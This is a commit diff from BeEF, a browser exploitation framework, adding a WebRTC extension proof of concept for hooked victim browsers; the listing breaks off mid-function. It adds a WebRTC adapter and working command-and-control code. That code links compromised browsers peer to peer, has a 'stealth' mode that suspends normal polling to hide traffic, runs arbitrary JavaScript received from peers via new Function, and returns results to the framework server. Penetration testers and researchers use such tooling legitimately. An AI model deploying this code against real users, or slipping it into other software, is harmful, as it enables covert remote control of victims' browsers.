Add WebRTC Extension PoC. Disabled by default, for now. See Issue #1082
This commit is contained in:
200
core/main/client/lib/webrtcadapter.js
Normal file
200
core/main/client/lib/webrtcadapter.js
Normal file
@@ -0,0 +1,200 @@
|
||||
var RTCPeerConnection = null;
|
||||
var getUserMedia = null;
|
||||
var attachMediaStream = null;
|
||||
var reattachMediaStream = null;
|
||||
var webrtcDetectedBrowser = null;
|
||||
var webrtcDetectedVersion = null;
|
||||
|
||||
function maybeFixConfiguration(pcConfig) {
|
||||
if (pcConfig === null) {
|
||||
return;
|
||||
}
|
||||
for (var i = 0; i < pcConfig.iceServers.length; i++) {
|
||||
if (pcConfig.iceServers[i].hasOwnProperty('urls')){
|
||||
if (pcConfig.iceServers[i]['urls'].length > 0) {
|
||||
// In FF - we just take the FIRST STUN Server
|
||||
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'][0];
|
||||
} else {
|
||||
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'];
|
||||
}
|
||||
delete pcConfig.iceServers[i]['urls'];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (navigator.mozGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = "firefox";
|
||||
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
var RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
// .urls is not supported in FF yet.
|
||||
maybeFixConfiguration(pcConfig);
|
||||
return new mozRTCPeerConnection(pcConfig, pcConstraints);
|
||||
}
|
||||
|
||||
// The RTCSessionDescription object.
|
||||
RTCSessionDescription = mozRTCSessionDescription;
|
||||
|
||||
// The RTCIceCandidate object.
|
||||
RTCIceCandidate = mozRTCIceCandidate;
|
||||
|
||||
// Get UserMedia (only difference is the prefix).
|
||||
// Code from Adam Barth.
|
||||
getUserMedia = navigator.mozGetUserMedia.bind(navigator);
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Creates iceServer from the url for FF.
|
||||
createIceServer = function(url, username, password) {
|
||||
var iceServer = null;
|
||||
var url_parts = url.split(':');
|
||||
if (url_parts[0].indexOf('stun') === 0) {
|
||||
// Create iceServer with stun url.
|
||||
iceServer = { 'url': url };
|
||||
} else if (url_parts[0].indexOf('turn') === 0) {
|
||||
if (webrtcDetectedVersion < 27) {
|
||||
// Create iceServer with turn url.
|
||||
// Ignore the transport parameter from TURN url for FF version <=27.
|
||||
var turn_url_parts = url.split("?");
|
||||
// Return null for createIceServer if transport=tcp.
|
||||
if (turn_url_parts.length === 1 ||
|
||||
turn_url_parts[1].indexOf('transport=udp') === 0) {
|
||||
iceServer = {'url': turn_url_parts[0],
|
||||
'credential': password,
|
||||
'username': username};
|
||||
}
|
||||
} else {
|
||||
// FF 27 and above supports transport parameters in TURN url,
|
||||
// So passing in the full url to create iceServer.
|
||||
iceServer = {'url': url,
|
||||
'credential': password,
|
||||
'username': username};
|
||||
}
|
||||
}
|
||||
return iceServer;
|
||||
};
|
||||
|
||||
createIceServers = function(urls, username, password) {
|
||||
var iceServers = [];
|
||||
// Use .url for FireFox.
|
||||
for (i = 0; i < urls.length; i++) {
|
||||
var iceServer = createIceServer(urls[i],
|
||||
username,
|
||||
password);
|
||||
if (iceServer !== null) {
|
||||
iceServers.push(iceServer);
|
||||
}
|
||||
}
|
||||
return iceServers;
|
||||
}
|
||||
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
console.log("Attaching media stream");
|
||||
element.mozSrcObject = stream;
|
||||
element.play();
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
console.log("Reattaching media stream");
|
||||
to.mozSrcObject = from.mozSrcObject;
|
||||
to.play();
|
||||
};
|
||||
|
||||
// Fake get{Video,Audio}Tracks
|
||||
if (!MediaStream.prototype.getVideoTracks) {
|
||||
MediaStream.prototype.getVideoTracks = function() {
|
||||
return [];
|
||||
};
|
||||
}
|
||||
|
||||
if (!MediaStream.prototype.getAudioTracks) {
|
||||
MediaStream.prototype.getAudioTracks = function() {
|
||||
return [];
|
||||
};
|
||||
}
|
||||
} else if (navigator.webkitGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = "chrome";
|
||||
// Temporary fix until crbug/374263 is fixed.
|
||||
// Setting Chrome version to 999, if version is unavailable.
|
||||
var result = navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);
|
||||
if (result !== null) {
|
||||
webrtcDetectedVersion = parseInt(result[2], 10);
|
||||
} else {
|
||||
webrtcDetectedVersion = 999;
|
||||
}
|
||||
|
||||
// Creates iceServer from the url for Chrome M33 and earlier.
|
||||
createIceServer = function(url, username, password) {
|
||||
var iceServer = null;
|
||||
var url_parts = url.split(':');
|
||||
if (url_parts[0].indexOf('stun') === 0) {
|
||||
// Create iceServer with stun url.
|
||||
iceServer = { 'url': url };
|
||||
} else if (url_parts[0].indexOf('turn') === 0) {
|
||||
// Chrome M28 & above uses below TURN format.
|
||||
iceServer = {'url': url,
|
||||
'credential': password,
|
||||
'username': username};
|
||||
}
|
||||
return iceServer;
|
||||
};
|
||||
|
||||
// Creates iceServers from the urls for Chrome M34 and above.
|
||||
createIceServers = function(urls, username, password) {
|
||||
var iceServers = [];
|
||||
if (webrtcDetectedVersion >= 34) {
|
||||
// .urls is supported since Chrome M34.
|
||||
iceServers = {'urls': urls,
|
||||
'credential': password,
|
||||
'username': username };
|
||||
} else {
|
||||
for (i = 0; i < urls.length; i++) {
|
||||
var iceServer = createIceServer(urls[i],
|
||||
username,
|
||||
password);
|
||||
if (iceServer !== null) {
|
||||
iceServers.push(iceServer);
|
||||
}
|
||||
}
|
||||
}
|
||||
return iceServers;
|
||||
};
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
var RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
// .urls is supported since Chrome M34.
|
||||
if (webrtcDetectedVersion < 34) {
|
||||
maybeFixConfiguration(pcConfig);
|
||||
}
|
||||
return new webkitRTCPeerConnection(pcConfig, pcConstraints);
|
||||
}
|
||||
|
||||
// Get UserMedia (only difference is the prefix).
|
||||
// Code from Adam Barth.
|
||||
getUserMedia = navigator.webkitGetUserMedia.bind(navigator);
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
if (typeof element.srcObject !== 'undefined') {
|
||||
element.srcObject = stream;
|
||||
} else if (typeof element.mozSrcObject !== 'undefined') {
|
||||
element.mozSrcObject = stream;
|
||||
} else if (typeof element.src !== 'undefined') {
|
||||
element.src = URL.createObjectURL(stream);
|
||||
} else {
|
||||
console.log('Error attaching stream to element.');
|
||||
}
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
to.src = from.src;
|
||||
};
|
||||
} else {
|
||||
console.log("Browser does not appear to be WebRTC-capable");
|
||||
}
|
||||
588
core/main/client/webrtc.js
Normal file
588
core/main/client/webrtc.js
Normal file
@@ -0,0 +1,588 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
|
||||
/**
|
||||
* @Literal object: beef.webrtc
|
||||
*
|
||||
* Manage the WebRTC peer to peer communication channels.
|
||||
* This objects contains all the necessary client-side WebRTC components,
|
||||
* allowing browsers to use WebRTC to communicate with each other.
|
||||
* To provide signaling, the WebRTC extension sets up custom listeners.
|
||||
* /rtcsignal - for sending RTC signalling information between peers
|
||||
* /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
|
||||
*
|
||||
* To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
|
||||
* the signalling.
|
||||
*
|
||||
* This is all mostly a Proof of Concept
|
||||
*/
|
||||
|
||||
beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
|
||||
// The key is the peer id
|
||||
globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
|
||||
// these objects persist outside of everything else
|
||||
// The key is the peer id
|
||||
rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
|
||||
// false - i.e not stealthed; or
|
||||
// <peerid> - i.e. the id of the browser which initiated stealth mode
|
||||
rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
|
||||
// The key is the peer id
|
||||
|
||||
// Beefwebrtc object - wraps everything together for a peer connection
|
||||
// One of these per peer connection, and will be stored in the beefrtc global hash
|
||||
function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
|
||||
this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
|
||||
this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
|
||||
this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
|
||||
this.turnjson = turnjson; // set of TURN servers in the format:
|
||||
// {"username": "<username", "password": "<password>", "uris": [
|
||||
// "turn:<ip>:<port>?transport=<udp/tcp>",
|
||||
// "turn:<ip>:<port>?transport=<udp/tcp>"]}
|
||||
this.started = false; // Has signaling / dialing started for this peer
|
||||
this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
|
||||
this.turnDone = false; // does the pcConfig have TURN servers added to it?
|
||||
this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
|
||||
// the receiver will set this to true once it receives an SDP 'offer'
|
||||
this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
|
||||
this.pcConfig = null; // We set this during init
|
||||
this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
|
||||
this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
|
||||
this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
|
||||
this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
|
||||
this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
|
||||
this.dataChannel = null; // The data channel used by this peer
|
||||
this.stunservers = stunservers; // set of STUN servers, in the format:
|
||||
// ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
|
||||
}
|
||||
|
||||
// Initialize the object
|
||||
Beefwebrtc.prototype.initialize = function() {
|
||||
if (this.peerid == null) {
|
||||
return 0; // no peerid - NO DICE
|
||||
}
|
||||
|
||||
// Initialise the pcConfig hash with the provided stunservers
|
||||
var stuns = JSON.parse(this.stunservers);
|
||||
this.pcConfig = {"iceServers": [{"urls":stuns}]};
|
||||
|
||||
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
|
||||
this.forceTurn(this.turnjson);
|
||||
|
||||
// Caller is always ready to create peerConnection.
|
||||
this.signalingReady = this.initiator;
|
||||
|
||||
// Start .. maybe
|
||||
this.maybeStart();
|
||||
|
||||
// If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
|
||||
// window.onbeforeunload = function() {
|
||||
// this.sendSignalMsg({type: 'bye'});
|
||||
// }
|
||||
|
||||
return 1; // because .. yeah .. we had a peerid - this is good yar.
|
||||
}
|
||||
|
||||
//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
|
||||
//These values are now simply passed in from the config.yaml for the webrtc extension
|
||||
Beefwebrtc.prototype.forceTurn = function(jason) {
|
||||
var turnServer = JSON.parse(jason);
|
||||
var iceServers = createIceServers(turnServer.uris,
|
||||
turnServer.username,
|
||||
turnServer.password);
|
||||
if (iceServers !== null) {
|
||||
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
|
||||
}
|
||||
if (this.verbose) {console.log("Got TURN servers, will try and maybestart again..");}
|
||||
this.turnDone = true;
|
||||
this.maybeStart();
|
||||
}
|
||||
|
||||
// Try and establish the RTC connection
|
||||
Beefwebrtc.prototype.createPeerConnection = function() {
|
||||
if (this.verbose) {
|
||||
console.log('Creating RTCPeerConnnection with the following options:\n' +
|
||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||
}
|
||||
try {
|
||||
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
|
||||
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
|
||||
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
|
||||
if (this.verbose) {
|
||||
console.log('Created RTCPeerConnnection with the following options:\n' +
|
||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||
}
|
||||
} catch (e) {
|
||||
if (this.verbose) {
|
||||
console.log('Failed to create PeerConnection, exception: ');
|
||||
console.log(e);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
|
||||
globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
|
||||
globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
|
||||
globalrtc[this.peerid].ondatachannel = this.onDataChannel;
|
||||
this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
|
||||
}
|
||||
|
||||
// When the PeerConnection receives a new ICE Candidate
|
||||
Beefwebrtc.prototype.onIceCandidate = function(event) {
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {
|
||||
console.log("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
|
||||
console.log(event);
|
||||
}
|
||||
|
||||
if (event.candidate) {
|
||||
// Send the candidate to the peer via the BeEF signalling channel
|
||||
beefrtcs[peerid].sendSignalMsg({type: 'candidate',
|
||||
label: event.candidate.sdpMLineIndex,
|
||||
id: event.candidate.sdpMid,
|
||||
candidate: event.candidate.candidate});
|
||||
// Note this ICE candidate locally
|
||||
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
|
||||
} else {
|
||||
if (beefrtcs[peerid].verbose) {console.log('End of candidates.');}
|
||||
}
|
||||
}
|
||||
|
||||
// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
|
||||
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
|
||||
// against the message directly
|
||||
Beefwebrtc.prototype.processMessage = function(message) {
|
||||
if (this.verbose) {
|
||||
console.log('Signalling Message - S->C: ' + JSON.stringify(message));
|
||||
}
|
||||
var msg = JSON.parse(message);
|
||||
|
||||
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
|
||||
if (this.verbose) {console.log('processing the message, as a receiver');}
|
||||
if (msg.type === 'offer') { // This IS an SDP Offer
|
||||
if (this.verbose) {console.log('.. and the message is an offer .. ');}
|
||||
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
|
||||
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
|
||||
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
|
||||
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
|
||||
if (this.verbose) {console.log(' .. the message is NOT an offer .. ');}
|
||||
this.msgQueue.push(msg);
|
||||
}
|
||||
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
|
||||
if (this.verbose) {console.log('processing the message, as the sender, no answers yet');}
|
||||
if (msg.type === 'answer') { // This IS an SDP Answer
|
||||
if (this.verbose) {console.log('.. and we have an answer ..');}
|
||||
this.processSignalingMessage(msg); // Process the message directly
|
||||
this.gotanswer = true; // We have now received an answer
|
||||
//process all other queued message...
|
||||
while (this.msgQueue.length > 0) {
|
||||
this.processSignalingMessage(this.msgQueue.shift());
|
||||
}
|
||||
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
|
||||
if (this.verbose) {console.log('.. not an answer ..');}
|
||||
this.msgQueue.push(msg);
|
||||
}
|
||||
} else { // For all other messages just drop them in the queue
|
||||
if (this.verbose) {console.log('processing a message, but, not as a receiver, OR, the rtc is already up');}
|
||||
this.processSignalingMessage(msg);
|
||||
}
|
||||
}
|
||||
|
||||
// Send a signalling message ..
|
||||
Beefwebrtc.prototype.sendSignalMsg = function(message) {
|
||||
var msgString = JSON.stringify(message);
|
||||
if (this.verbose) {console.log('Signalling Message - C->S: ' + msgString);}
|
||||
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
|
||||
}
|
||||
|
||||
// Used to record ICS candidates locally
|
||||
Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
|
||||
if (this.gatheredIceCandidateTypes[location][type])
|
||||
return;
|
||||
this.gatheredIceCandidateTypes[location][type] = 1;
|
||||
// updateInfoDiv();
|
||||
}
|
||||
|
||||
// When the signalling state changes. We don't actually do anything with this except log it.
|
||||
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (localverbose === true) {console.log("Signalling has changed to: " + event.target.signalingState);}
|
||||
}
|
||||
|
||||
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
|
||||
Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
|
||||
var peerid = null;
|
||||
|
||||
for (k in globalrtc) {
|
||||
if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
|
||||
peerid = k;
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {console.log("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);}
|
||||
|
||||
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
|
||||
// better candidates or connections
|
||||
if (event.target.iceConnectionState === 'connected') {
|
||||
//Send status to peer
|
||||
window.setTimeout(function() {
|
||||
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
|
||||
beefrtcs[peerid].allgood = true;
|
||||
},1000);
|
||||
}
|
||||
|
||||
// Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
|
||||
if (event.target.iceConnectionState === 'completed') {
|
||||
window.setTimeout(function() {
|
||||
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
|
||||
beefrtcs[peerid].allgood = true;
|
||||
},1000);
|
||||
}
|
||||
|
||||
if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
|
||||
//I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
|
||||
rtcstealth = false;
|
||||
beefrtcs[peerid].allgood = false;
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
|
||||
} else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
|
||||
//I was not in stealth, and this peer has gone offline - send a message
|
||||
beefrtcs[peerid].allgood = false;
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
|
||||
}
|
||||
// We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
|
||||
// This is possibly a bad idea - @xntrik
|
||||
|
||||
|
||||
}
|
||||
|
||||
// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
|
||||
Beefwebrtc.prototype.goStealth = function() {
|
||||
//stop the beef updater
|
||||
rtcstealth = this.peerid; // this is a global variable
|
||||
beef.updater.lock = true;
|
||||
this.sendPeerMsg('Going into stealth mode');
|
||||
|
||||
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
|
||||
}
|
||||
|
||||
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
|
||||
rtcpollPeer = function() {
|
||||
if (rtcstealth == false) {
|
||||
//my peer has disabled stealth mode
|
||||
beef.updater.lock = false;
|
||||
return;
|
||||
}
|
||||
|
||||
if (beefrtcs[rtcstealth].verbose) {console.log('lub dub');}
|
||||
|
||||
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
|
||||
|
||||
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
|
||||
}
|
||||
|
||||
// When a data channel has been established - within here is the message handling function as well
|
||||
Beefwebrtc.prototype.onDataChannel = function(event) {
|
||||
var peerid = null;
|
||||
for (k in globalrtc) {
|
||||
if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
|
||||
peerid = k;
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {console.log("Peer: " + peerid + " has just handled the onDataChannel event");}
|
||||
rtcrecvchan[peerid] = event.channel;
|
||||
|
||||
// This is the onmessage event handling within the datachannel
|
||||
rtcrecvchan[peerid].onmessage = function(ev2) {
|
||||
if (beefrtcs[peerid].verbose) {console.log("Received an RTC message from my peer["+peerid+"]: " + ev2.data);}
|
||||
|
||||
// We've received the command to go into stealth mode
|
||||
if (ev2.data == "!gostealth") {
|
||||
if (beef.updater.lock == true) {
|
||||
setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
|
||||
} else {
|
||||
beefrtcs[peerid].goStealth();
|
||||
}
|
||||
|
||||
// The message to come out of stealth
|
||||
} else if (ev2.data == "!endstealth") {
|
||||
|
||||
if (rtcstealth != null) {
|
||||
beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
|
||||
rtcstealth = false;
|
||||
}
|
||||
|
||||
// Command to perform arbitrary JS (while stealthed)
|
||||
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
|
||||
if (beefrtcs[peerid].verbose) {console.log('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');}
|
||||
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
|
||||
|
||||
// Command to perform arbitrary JS (while NOT stealthed)
|
||||
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
|
||||
if (beefrtcs[peerid].verbose) {console.log('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));}
|
||||
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
|
||||
|
||||
// Just a plain text message .. (while stealthed)
|
||||
} else if (rtcstealth != false) {
|
||||
if (beefrtcs[peerid].verbose) {console.log('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');}
|
||||
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
|
||||
|
||||
// Just a plan text message (while NOT stealthed)
|
||||
} else {
|
||||
if (beefrtcs[peerid].verbose) {console.log('received a message from peer['+peerid+'] - sending it back to beef');}
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// How the browser executes received JS (this is pretty hacky)
|
||||
Beefwebrtc.prototype.execCmd = function(input) {
|
||||
var fn = new Function(input);
|
||||
var res = fn();
|
||||
return res.toString();
|
||||
}
|
||||
|
||||
// Shortcut function to SEND a data messsage
|
||||
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
|
||||
if (this.verbose) {console.log('sendPeerMsg to ' + this.peerid);}
|
||||
this.dataChannel.send(msg);
|
||||
}
|
||||
|
||||
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
|
||||
Beefwebrtc.prototype.maybeStart = function() {
|
||||
if (this.verbose) {console.log("maybe starting ... ");}
|
||||
|
||||
if (!this.started && this.signalingReady && this.turnDone) {
|
||||
if (this.verbose) {console.log('Creating PeerConnection.');}
|
||||
this.createPeerConnection();
|
||||
|
||||
this.started = true;
|
||||
|
||||
if (this.initiator) {
|
||||
if (this.verbose) {console.log("Making the call now .. bzz bzz");}
|
||||
this.doCall();
|
||||
} else {
|
||||
if (this.verbose) {console.log("Receiving a call now .. somebuddy answer da fone?");}
|
||||
this.calleeStart();
|
||||
}
|
||||
|
||||
} else {
|
||||
if (this.verbose) {console.log("Not ready to start just yet..");}
|
||||
}
|
||||
}
|
||||
|
||||
// RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
|
||||
Beefwebrtc.prototype.doCall = function() {
|
||||
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
|
||||
var self = this;
|
||||
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
|
||||
if (this.verbose) {console.log('Sending offer to peer, with constraints: \n' +
|
||||
' \'' + JSON.stringify(constraints) + '\'.');}
|
||||
}
|
||||
|
||||
// Helper method to merge SDP constraints
|
||||
Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
|
||||
var merged = cons1;
|
||||
for (var name in cons2.mandatory) {
|
||||
merged.mandatory[name] = cons2.mandatory[name];
|
||||
}
|
||||
merged.optional.concat(cons2.optional);
|
||||
return merged;
|
||||
}
|
||||
|
||||
// Sets the local RTC session description, sends this information back (via signalling)
|
||||
// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
|
||||
// The receiver uses this information too - and vice-versa - hence the signaling
|
||||
Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
|
||||
// This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
|
||||
// Stupid .. javascript :(
|
||||
// So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
|
||||
// i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one..
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
if (beefrtcs[peerid].verbose) {console.log("For peer: " + peerid + " Running setLocalAndSendMessage...");}
|
||||
|
||||
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
|
||||
beefrtcs[peerid].sendSignalMsg(sessionDescription);
|
||||
|
||||
function onSetSessionDescriptionSuccess() {
|
||||
if (beefrtcs[peerid].verbose) {console.log('Set session description success.');}
|
||||
}
|
||||
|
||||
function onSetSessionDescriptionError() {
|
||||
if (beefrtcs[peerid].verbose) {console.log('Failed to set session description');}
|
||||
}
|
||||
}
|
||||
|
||||
// If the browser can't build an SDP
|
||||
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {console.log('Failed to create session description: ' + error.toString());}
|
||||
}
|
||||
|
||||
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
|
||||
Beefwebrtc.prototype.calleeStart = function() {
|
||||
// Callee starts to process cached offer and other messages.
|
||||
while (this.msgQueue.length > 0) {
|
||||
this.processSignalingMessage(this.msgQueue.shift());
|
||||
}
|
||||
}
|
||||
|
||||
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
|
||||
Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
||||
if (!this.started) {
|
||||
if (this.verbose) {console.log('peerConnection has not been created yet!');}
|
||||
return;
|
||||
}
|
||||
|
||||
if (message.type === 'offer') {
|
||||
if (this.verbose) {console.log("Processing signalling message: OFFER");}
|
||||
this.setRemote(message);
|
||||
this.doAnswer();
|
||||
} else if (message.type === 'answer') {
|
||||
if (this.verbose) {console.log("Processing signalling message: ANSWER");}
|
||||
this.setRemote(message);
|
||||
} else if (message.type === 'candidate') {
|
||||
if (this.verbose) {console.log("Processing signalling message: CANDIDATE");}
|
||||
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
|
||||
candidate: message.candidate});
|
||||
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
|
||||
globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
|
||||
} else if (message.type === 'bye') {
|
||||
this.onRemoteHangup();
|
||||
}
|
||||
}
|
||||
|
||||
// Used to set the RTC remote session
|
||||
Beefwebrtc.prototype.setRemote = function(message) {
|
||||
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
|
||||
onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
||||
|
||||
function onSetRemoteDescriptionSuccess() {
|
||||
if (this.verbose) {console.log("Set remote session description success.");}
|
||||
}
|
||||
}
|
||||
|
||||
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
|
||||
Beefwebrtc.prototype.doAnswer = function() {
|
||||
if (this.verbose) {console.log('Sending answer to peer.');}
|
||||
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
|
||||
}
|
||||
|
||||
// Helper method to determine what kind of ICE Candidate we've received
|
||||
Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
|
||||
if (candidateSDP.indexOf("typ relay ") >= 0)
|
||||
return "TURN";
|
||||
if (candidateSDP.indexOf("typ srflx ") >= 0)
|
||||
return "STUN";
|
||||
